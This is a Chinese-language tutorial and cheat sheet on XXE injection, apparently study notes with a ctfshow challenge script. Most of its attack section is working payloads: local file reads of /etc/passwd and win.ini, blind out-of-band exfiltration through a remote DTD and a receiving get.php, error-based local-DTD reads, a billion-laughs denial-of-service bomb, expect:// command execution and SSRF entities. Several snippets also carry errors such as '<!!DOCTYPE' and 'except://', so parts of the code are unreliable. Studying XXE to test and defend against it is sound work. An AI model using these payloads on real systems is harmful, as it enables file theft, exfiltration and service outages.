概念

XXE,是指在应用程序解析xml外部输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、执行系统命令等

典型的攻击如下:

<?xml version="1.0" encoding="ISO-8859-1"?> //XML声明
<!DOCTYPE foo[
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/paswd" >]> //DTD部分
<foo>&xxe;</foo>   //XML部分

定义实体必须写在DTD部分

特点:

  • xml仅仅是纯文本,不会做任何事情
  • xml可以自己发明标签(允许定义自己的标签和文档结构)

xml无处不在,是各种应用程序之间进行数据传输的常用工具,并且在信息存储和描述领域变得越来越好

XML实体

XML实体是在xml文档中表示数据项的一种方式,,而不是使用数据本身。各种实体内置于xml语言的规范中。

自定义实体

XML允许在DTD中定义自定义实体。 此定义意味着在使用过程中对实体&myentity的任何引用,在XML文档中的值都将替换成my entity value

<!DOCTYPE foo [<!ENTITY myentity "my entity value">]>

外部实体

XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外 外部实体的声明需要使用SYSTEM关键字,并且必须指定URL然后从URL中加载实体值。例如:

<!!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file">]>

XML外部实体是引发XML外部实体攻击的主要手段

XML元素

元素类型声明为xml文档中可能出现的元素的类型和数量、元素之间可能出现的内容以及它们必须出现的顺序设置了规则。

例如:

<!ELEMENT stockCheck ANY>表示任何对象都可以在父级<stockCheck></stockCheck>
<!ELEMENT stockCheck EMPTY>表示它可以为空<stockCheck></stockCheck>
<!ELEMENT stockCheck(productld,storeld)>声明<stockkCheck>可以有子级<productld>和<storeld>

命名规则

xml元素必须遵循以下明明规则:

  • 名称可以含字母、数字以及其他的字符
  • 名称不能以数字或者标点符号开始
  • 名称不呢以字符”xml”(或者”XML”或者”Xml”等)开始 可以使用任何名称,没有保留单词

最佳命名习惯

使名称具有描述性。使用下划线的名称也可以 注意:

  • 避免”-“字符,如果是”first-name”,一些软件一般认为是认为需要提取第一个单词
  • 避免”.”字符,如果是”frist.name”,一些软件会认为是”name”字符是对象”frist”的属性
  • 避免”:“字符,冒号会被转换成命名空间来使用

文档类型定义

DTD在XML文档开头的可选DOCTPE元素中声明。DTD可以完全独立于文档本身,也可以从其他地方加载,或者可以是二者混合

漏洞成因

php中存在一个叫做simplexml__load_string的函数用来处理xml

这个函数将xml转换为对象

示例:

<?php
    $test='<!!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file">]>';
    $obj==simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
    print_r($obj);
?>

变量test里面是xml 然后试用simplexml_load_string将其转化为对象

攻击方式

内部实体和外部实体

内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

通用实体和参数实体

1.通用实体 通用实体就像是 XML 里的全局变量。 用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

2.参数实体: 参数实体是专门在 DTD 内部使用的“局部变量”。

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

攻击流程

测试语句

本地输出

<?xml version="1.0"?> <test>hello</test>

使用带外检测测试blind xxe

<!DOCTYPE foo[ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>

python测试

import requests

# 替换为你当前的题目 URL
url = ""

# 1. 构造请求头,告诉服务器我们要发送的是 XML 数据
headers = {
    "Content-Type": "application/xml"
}

# 2. 构造恶意的 XML Payload,目标是读取 /flag
xml_payload = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
    <ctfshow>&xxe;</ctfshow>
</root>"""

try:
    # 3. 使用 POST 方法发送请求,注意这里必须用 data= 传递原始文本,不能用 json=
    print(f"[*] 正在向 {url} 发送 XXE Payload...")
    response = requests.post(url, headers=headers, data=xml_payload, timeout=10)
    
    # 4. 打印服务器的回显结果
    print("[+] 请求成功!服务器响应内容如下:\n")
    
    # 因为页面包含 php 源码,内容比较多,你可以直接打印全部
    print(response.text)
    
    # 【进阶小技巧】如果你只想提取回显在最前面的 flag,可以对 response.text 进行简单的切片或正则匹配
    # 比如:我们知道 flag 是在 <?php 之前输出的
    # flag = response.text.split("<?php")[0].strip()
    # print(f"\n[★] 提取到的 Flag: {flag}")

except requests.exceptions.RequestException as e:
    print(f"[-] 请求发生错误: {e}")

这个xxe的payload声明了一个名为xxe的xml参数实体,然后再dtd中使用该实体,这将导致对攻击者的域进行DNS查找和HTTP请求来判断攻击是否成功

常见的payload

读取文件

<?xml version="1.0"?>  
<!DOCTYPE eleven [  
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> 
<eleven>&xxe;</eleven>
 
 
读取php文件,发现读取内容为空、没有读取到文件内容,原因是 php 文件需要进行加密才能够被读取
 
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]> 
 
<eleven>&xxe;</eleven> 

外部实体

<?xml version="1.0"?>  
<!DOCTYPE test [  
<!ENTITY % file SYSTEM "http://your web server address/test.dtd">
        %file;
]> 
<eleven>&send;</eleven>
 
//test.dtd
<!ENTITY send SYSTEM "file:///c:/windows/win.ini">

无回显读文件

1. 建立test.dtd外部实体文件,在远程服务器的解析目录下。
//test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your web server address/get.php?file=%file;'>">
 
2. 建立get.php文件放在你的服务器根目录中用于接收数据
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
 
3. BP抓包修改,POST请求体。
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://你的web服务器地址/test.dtd">
%remote;
%all;
]> 
<eleven>&send;</eleven>

无回显:加载本地DTD

如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方式最流行的一种就是加载本地的DTD文件。

<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///目标机器本地的dtd文件绝对路径">
  <!ENTITY % condition'aaa)>
    <!ENTITY &#x25;file SYSTEM "file:///etc/passwd">SYSTEM &#x27;<!ENTITY &#x25; eval " 
    <!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ENTITY aa (bb'>
  %local_dtd;
]>
<eleven>any text</eleven>
 
 
 
 
<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
  <!ENTITY % condition'aaa)>
    <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval " 
    <!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    <!ENTITY aa (bb'>
  %local_dtd;
]>
<eleven>any text</eleven>
 

Dos攻击

常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

命令执行【了解】

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。

漏洞代码如下:

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<eleven>&xxe;</eleven>

SSRF了解

SSRF的触发点通常是在ENTITY实体中

<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY % ssrf SYSTEM "http://ip:port">
    %ssrf;
]>